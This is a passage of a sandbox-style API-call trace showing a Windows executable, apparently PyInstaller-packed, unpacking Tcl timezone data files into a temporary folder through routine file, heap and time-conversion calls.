lpLocalTime=0x4f8cf0) returned 1 [0040.754] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.754] CloseHandle (hObject=0x10c) returned 1 [0040.754] GetLastError () returned 0x0 [0040.754] SetLastError (dwErrCode=0x0) [0040.754] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Thimphu") returned 69 [0040.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Thimphu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\thimphu"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.755] GetLastError () returned 0x2 [0040.755] SetLastError (dwErrCode=0x2) [0040.755] GetLastError () returned 0x2 [0040.755] SetLastError (dwErrCode=0x2) [0040.755] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Thimphu", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Thimphu", lpFilePart=0x0) returned 0x44 [0040.755] GetLastError () returned 0x2 [0040.755] SetLastError (dwErrCode=0x2) [0040.755] GetLastError () returned 0x2 [0040.755] SetLastError (dwErrCode=0x2) [0040.755] GetLastError () returned 0x2 [0040.755] SetLastError (dwErrCode=0x2) [0040.755] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Thimphu") returned 69 [0040.755] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.755] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Thimphu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\thimphu"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.755] GetFileType (hFile=0x10c) returned 0x1 [0040.755] htonl (hostlong=0xab000000) returned 0xab [0040.755] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.755] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xab, lpOverlapped=0x0) returned 1 [0040.756] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.756] CloseHandle (hObject=0x10c) returned 1 [0040.756] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.756] htonl (hostlong=0x30000000) returned 0x30 [0040.756] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.756] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.757] GetFileType (hFile=0x10c) returned 0x1 [0040.757] htonl (hostlong=0x6c245b00) returned 0x5b246c [0040.757] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fd46c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.757] htonl (hostlong=0xd2000000) returned 0xd2 [0040.757] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd2) returned 0x550600 [0040.757] htonl (hostlong=0xd2000000) returned 0xd2 [0040.757] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.757] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.757] htonl (hostlong=0xb2010000) returned 0x1b2 [0040.757] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1b2) returned 0x5506e0 [0040.757] htonl (hostlong=0xd2000000) returned 0xd2 [0040.757] htonl (hostlong=0xb2010000) returned 0x1b2 [0040.757] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.757] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.757] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.757] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.757] CloseHandle (hObject=0x10c) returned 1 [0040.757] GetLastError () returned 0x0 [0040.757] SetLastError (dwErrCode=0x0) [0040.757] GetLastError () returned 0x0 [0040.757] SetLastError (dwErrCode=0x0) [0040.757] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.757] GetFileType (hFile=0x10c) returned 0x1 [0040.758] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.758] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.758] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.758] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.758] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.758] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.758] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.758] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.758] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.758] CloseHandle (hObject=0x10c) returned 1 [0040.758] GetLastError () returned 0x0 [0040.758] SetLastError (dwErrCode=0x0) [0040.758] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.758] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.758] GetFileType (hFile=0x10c) returned 0x1 [0040.758] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.758] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.758] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.758] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.758] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.758] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.758] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.758] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.758] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.758] CloseHandle (hObject=0x10c) returned 1 [0040.759] GetLastError () returned 0x0 [0040.759] SetLastError (dwErrCode=0x0) [0040.759] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.759] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.759] GetFileType (hFile=0x10c) returned 0x1 [0040.759] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.759] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.759] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.759] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.759] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.759] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.759] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.759] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.759] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.759] CloseHandle (hObject=0x10c) returned 1 [0040.759] GetLastError () returned 0x0 [0040.759] SetLastError (dwErrCode=0x0) [0040.759] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tokyo") returned 67 [0040.759] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tokyo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\tokyo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.759] GetLastError () returned 0x2 [0040.759] SetLastError (dwErrCode=0x2) [0040.759] GetLastError () returned 0x2 [0040.759] SetLastError (dwErrCode=0x2) [0040.759] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tokyo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tokyo", lpFilePart=0x0) returned 0x42 [0040.759] GetLastError () returned 0x2 [0040.759] SetLastError (dwErrCode=0x2) [0040.759] GetLastError () returned 0x2 [0040.760] SetLastError (dwErrCode=0x2) [0040.760] GetLastError () returned 0x2 [0040.760] SetLastError (dwErrCode=0x2) [0040.760] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tokyo") returned 67 [0040.760] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.760] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tokyo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\tokyo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.760] GetFileType (hFile=0x10c) returned 0x1 [0040.760] htonl (hostlong=0xb2010000) returned 0x1b2 [0040.760] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.760] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1b2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x1b2, lpOverlapped=0x0) returned 1 [0040.761] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.761] CloseHandle (hObject=0x10c) returned 1 [0040.761] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506e0 | out: hHeap=0x530000) returned 1 [0040.761] htonl (hostlong=0x30000000) returned 0x30 [0040.761] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.761] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.761] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.761] GetFileType (hFile=0x10c) returned 0x1 [0040.761] htonl (hostlong=0x3e255b00) returned 0x5b253e [0040.761] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fd53e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.761] htonl (hostlong=0x8f000000) returned 0x8f [0040.761] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x55cfe0 [0040.761] htonl (hostlong=0x8f000000) returned 0x8f [0040.761] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.762] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.762] htonl (hostlong=0xb5000000) returned 0xb5 [0040.762] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb5) returned 0x550600 [0040.762] htonl (hostlong=0x8f000000) returned 0x8f [0040.762] htonl (hostlong=0xb5000000) returned 0xb5 [0040.762] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.762] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.762] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.762] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.762] CloseHandle (hObject=0x10c) returned 1 [0040.762] GetLastError () returned 0x0 [0040.762] SetLastError (dwErrCode=0x0) [0040.762] GetLastError () returned 0x0 [0040.762] SetLastError (dwErrCode=0x0) [0040.762] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.762] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.762] GetFileType (hFile=0x10c) returned 0x1 [0040.762] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.762] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.762] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.762] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.762] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.762] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.762] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.762] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.762] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.763] CloseHandle (hObject=0x10c) returned 1 [0040.763] GetLastError () returned 0x0 [0040.763] SetLastError (dwErrCode=0x0) [0040.763] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.763] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.764] GetFileType (hFile=0x10c) returned 0x1 [0040.764] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.764] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.764] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.764] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.764] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.764] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.764] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.764] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.764] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.764] CloseHandle (hObject=0x10c) returned 1 [0040.764] GetLastError () returned 0x0 [0040.765] SetLastError (dwErrCode=0x0) [0040.765] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.765] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.765] GetFileType (hFile=0x10c) returned 0x1 [0040.765] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.765] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.765] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.765] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.765] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.765] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.765] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.765] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.765] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.765] CloseHandle (hObject=0x10c) returned 1 [0040.765] GetLastError () returned 0x0 [0040.765] SetLastError (dwErrCode=0x0) [0040.765] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ujung_Pandang") returned 75 [0040.765] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ujung_Pandang" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\ujung_pandang"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.765] GetLastError () returned 0x2 [0040.765] SetLastError (dwErrCode=0x2) [0040.765] GetLastError () returned 0x2 [0040.765] SetLastError (dwErrCode=0x2) [0040.765] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ujung_Pandang", nBufferLength=0x104, 